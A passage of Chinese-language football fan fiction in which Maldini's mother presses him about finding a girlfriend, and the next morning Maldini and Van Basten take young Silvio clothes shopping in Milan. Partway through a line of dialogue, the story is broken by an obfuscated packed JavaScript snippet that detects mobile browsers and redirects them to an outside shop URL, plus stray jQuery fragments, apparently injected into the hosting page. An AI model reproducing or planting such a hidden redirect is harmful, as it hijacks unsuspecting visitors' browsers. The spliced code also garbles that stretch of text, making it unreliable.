马尔蒂尼的叉子在盘子上停了一瞬，很短暂，如果不是西尔维奥正好在看，根本注意不到。


    “妈咪。”


    “你叫什么都没用。”玛丽莎把一块面包撕成小块，蘸着酱汁送进嘴里，语气平淡，“你看看你，快三十了，连个约会都没有。上次马西莫的妈妈跟我说，她儿子都换第三个女朋友了。”


    “马西莫比我小。”


    “所以呢？比你小的都比你强。”


    “妈，这个逻辑不对——”


    “我不跟你讲逻辑，我跟你讲道理。”玛丽莎放下面包，认真地看着他，“你到底有没有在考虑这件事？”


    马尔蒂尼沉默不语，西尔维奥低头吃饭，努力让自己的存在感降到最低。他能感觉到马尔蒂尼的目光从自己头顶掠过，但他坚决不抬头。


    “我在考虑。”马尔蒂尼终于说。


    “考虑什么？考虑怎么敷衍我？”


    “马尔科——”马尔蒂尼转向范巴斯滕，试图转移火力。


    范巴斯滕正端着酒杯喝红酒，听到自己的名字，不紧不慢地把酒杯放下，用餐巾擦了擦嘴角，然后用一种非常无辜的表情看着马尔蒂尼。


    “怎么了，保罗？”


    “你帮我说句话。”


    “说什么？”


    “随便说点什么。”


    范巴斯滕想了想，转向玛丽莎：“玛丽莎，保罗其实——”


    “你别帮他说话。”玛丽莎一眼就看穿了，“你帮他说话也没用，他自己的事他自己解决。”


    范巴斯滕举起双手表示投降，然后给了马尔蒂尼一个“你看，我尽力了”的眼神。但西尔维奥注意到，范巴斯滕嘴角的笑意比刚才更深了，显然他很享受这个场面。


    “而且你也是。”玛丽莎的矛头忽然转向了范巴斯滕。


    范巴斯滕的笑容凝固了一瞬，他怎么也要被说呢？


    “马尔科，你要多注意你的身体，脚踝才治好，不要整天想着踢球，好好享受一下生活。”还好玛丽莎只是提醒他要多注意身体，不是催着生小孩什么的。


    就算是冷漠的荷兰人，在面对真心为自己打算的长辈时也得低头。


    西尔维奥差点笑出声，但他用尽全身力气忍住了，假装在认真地切一块已经被他切成碎末的牛排。


    玛丽莎的目光已经从范巴斯滕身上收了回来，重新落在马尔蒂尼身上：“所以你现在是什么打算？”


    马尔蒂尼放下叉子，靠在椅背上，表情有一种认命式的平静：“你想让我怎么办？”


    “我想让你找个女朋友。”


    马尔蒂尼沉默了一下：“妈，这种事不是我说找就能——”


    “好了，玛丽莎，相信保罗，他已经大了，对自己的生活有打算。”切萨雷的声音传来，不紧不慢。


    玛丽莎看了丈夫一眼，不再继续说话，有些事情点到为止就好。范巴斯滕也在一边装傻，之前马尔蒂尼也约会过一个模特，但是过一段时间两个人就断了。


    那个时候比利他们还八卦了很久，哪有正青春的男孩不出去约会的，就算家里有一个小孩——西尔也不是那种什么需要教的小孩——但那是马尔蒂尼，整个意大利有谁会拒绝马尔蒂尼。


    晚餐结束后的空气里还残留着红肉与迷迭香的气味。西尔维奥在厨房帮玛丽莎收拾餐具，水流声哗哗地盖住了客厅里隐约的电视声。他正把一只沾着酱汁的盘子放进洗碗机，玛丽莎忽然开口了。


    “保罗16岁的时候，已经开始在一线队踢球了，17岁就在国家队首秀，一晃到现在，已经十三年了，时间过得真快啊。”


    玛丽莎有感而发，她还记得西尔来的时候，还是一个可爱的小豆丁，现在也渐渐变成了一个小伙子，并且还是一个出色的足球运动员。


    西尔维奥没有回答，只是低着头继续把餐具往洗碗机里码。他知道玛丽莎不是在等他说话，她只是在跟自己说话，“那时候保罗刚进一线队，每天训练完回来，膝盖上全是淤青，也不跟我说。”


    之后大多数都是玛丽莎在说，西尔安安静静听着，从他来到马尔蒂尼家，保罗就是他实际上的监护人。上下学、训练、吃饭、睡觉，都是他带着。


    第二天一早，阳光从百叶窗的缝隙里挤进来，在西尔维奥的床上画出一道一道的金线。他翻了个身，迷迷糊糊地听到楼下有声音，还有咖啡和面包的香气飘上来。


    他揉了揉眼睛坐起来，看了一眼床头柜上的闹钟：八点十五分。对于休息日来说，这个时间醒来算早的，但昨晚他睡得很好，身体已经充满电。


    他洗漱完下楼，发现客厅里已经有人了。


    保罗·马尔蒂尼坐在沙发上看手机，穿着一件灰色的圆领T恤和深蓝色的运动长裤，头发还是半湿的，显然刚洗过澡。他面前的茶几上放着一杯已经凉了一半的咖啡，旁边的盘子里有几片面包的碎屑。


    “早，保罗。”西尔维奥说。


    马尔蒂尼抬起头看了他一眼：“早，西尔。睡得好吗？”


    “很不错。”


    “厨房里有面包和牛奶，妈妈早上烤了蛋糕，在厨房。”


    西尔维奥点点头，走进厨房。果然，边上放着一个透明的玻璃蛋糕罩，里面是一块切好的柠檬蛋糕，表面撒着一层细细的糖霜，边上还缀着几片烤过的杏仁。他切了一块放在盘子里，又倒了一杯牛奶，端着回到客厅。


    他不爱喝咖啡，早上都是喝一杯牛奶，刚在沙发上坐下，楼梯上就传来脚步声。范巴斯滕穿着一件浅蓝色的亚麻衬衫和白色的长裤，脚上踩着一双棕色的乐福鞋。


    “早安，西尔、保罗。”范巴斯滕说，语气里带着一种荷兰人特有的那种不咸不淡的从容。


    “早。”西尔维奥咬了一口蛋糕，“你要吃早餐吗？厨房里有蛋糕。”


    “我已经吃过了。”范巴斯滕在马尔蒂尼旁边的单人沙发上坐下，两条长腿交叠起来，目光在马尔蒂尼和西尔维奥之间来回扫了一下，“你们今天有什么安排？”


    马尔蒂尼放下手机：“我答应了西尔，今天带他去买衣服。”


    “哦？”范巴斯滕挑了挑眉，嘴角微微翘起来，“你去？”


    这个“你”字后面拖着一条意味深长的尾巴，马尔蒂尼显然听出了那层意思，他面无表情地看了范巴斯滕一眼：“对，我去。有什么问题吗？”


    “没什么，你的眼光还是可以的。”只要不和维埃里在一起。


    后面这句话范巴斯滕没有说出来，但是马尔蒂尼听懂了，并且沉默了两秒钟。


    范巴斯滕向西尔维奥摊开手：“你看，我说什么来着，保罗的眼光—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17392132|199300||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —”


    西尔维奥咬着蛋糕，努力不让自己笑出来。


    “马尔科会跟我们一起去。”马尔蒂尼忽然说。


    这次轮到范巴斯滕沉默了。


    “什么？”范巴斯滕放下交叠的双腿，看着马尔蒂尼，“我什么时候说过要——”


    “你刚才说的。”马尔蒂尼端起咖啡喝了一口，语气平淡得像是喝水一样，“你说‘你们今天有什么安排’，然后我说‘带西尔去买衣服’，然后你说‘哦’，然后你就加入我们了。”


    “这逻辑是哪里来的？”


    “荷兰来的，你不是荷兰人吗？”


    西尔维奥终于没忍住，笑出了声，不过在两位“老父亲”的注视下，他赶紧低下头，假装被牛奶呛到了，捂着嘴咳了两下。范巴斯滕看了他一眼，眼神带着谴责，但西尔维奥假装没看见。


    范巴斯滕靠在沙发上，盯着天花板看了一会儿，似乎在认真考虑要不要反驳。但最后他只是叹了口气，用一种听天由命的语气说：“行吧。但我有一个条件。”


    “什么条件？”


    “以后西尔出去，万一被人说穿搭丑，别把我爆出来。”范巴斯滕的表情很认真，一点没有在说笑。


    马尔蒂尼表示有被内涵到，不就是有几次穿搭比较丑嘛，这就被马尔科记上了，他站起来，把手机塞进口袋：“行了，去不去？”


    范巴斯滕也站起来，扯了扯衬衫的袖口，让它刚好在手腕处服帖地落下来：“去，但我开车。”


    “不行。”


    “为什么？”


    “因为你的开车风格跟你的踢球风格一样，看起来优雅，实际上不要命。”


    范巴斯滕张了张嘴，似乎想反驳，但最终什么都没说。因为他知道马尔蒂尼说的是事实。


    西尔维奥把最后一块蛋糕塞进嘴里，站起来往厨房跑，把盘子放进洗碗机里，然后三步并作两步跑上楼去换衣服。他换了一条浅色的牛仔裤和一件白色的短袖，这是去年玛丽莎带他去买的。穿完之后他站在镜子前看了一眼，犹豫了一下，又拿了一件薄外套搭在手臂上。


    等他下楼的时候，马尔蒂尼和范巴斯滕已经在门口等着了。两个人站在一起，一个像是去健身房，一个像是去参加露天音乐会。


    “走吧。”马尔蒂尼推开门。


    外面是一个典型的米兰周末早晨，阳光很好，天空是一种清澈的、被洗过的淡蓝色，空气里有一丝凉意，但到了中午就会消散。


    西尔维奥拉开后座的车门坐进去，安全带刚扣好，马尔蒂尼就已经发动了引擎。范巴斯滕坐在副驾驶，把座椅调到了一个对他来说稍微舒服一点的角度，他的腿太长了，副驾驶的空间总是有点局促。


    车子驶出住宅区，汇入周日早晨稀疏的车流中。米兰的周日是安静的，大多数商店都不开门，但市中心的几条商业街和几个大型购物中心会照常营业。


    “你上次带西尔买衣服是什么时候？”范巴斯滕忽然问。


    马尔蒂尼想了想：“上个月，平时妈妈带他去的时候多。”


    “那你今天怎么突然想起来要带他去？”


    “他昨天比赛踢得不错，”马尔蒂尼终于说，语气很随意，像是在说一件理所当然的事情，“奖励。”


    范巴斯滕觉得保罗在训狗。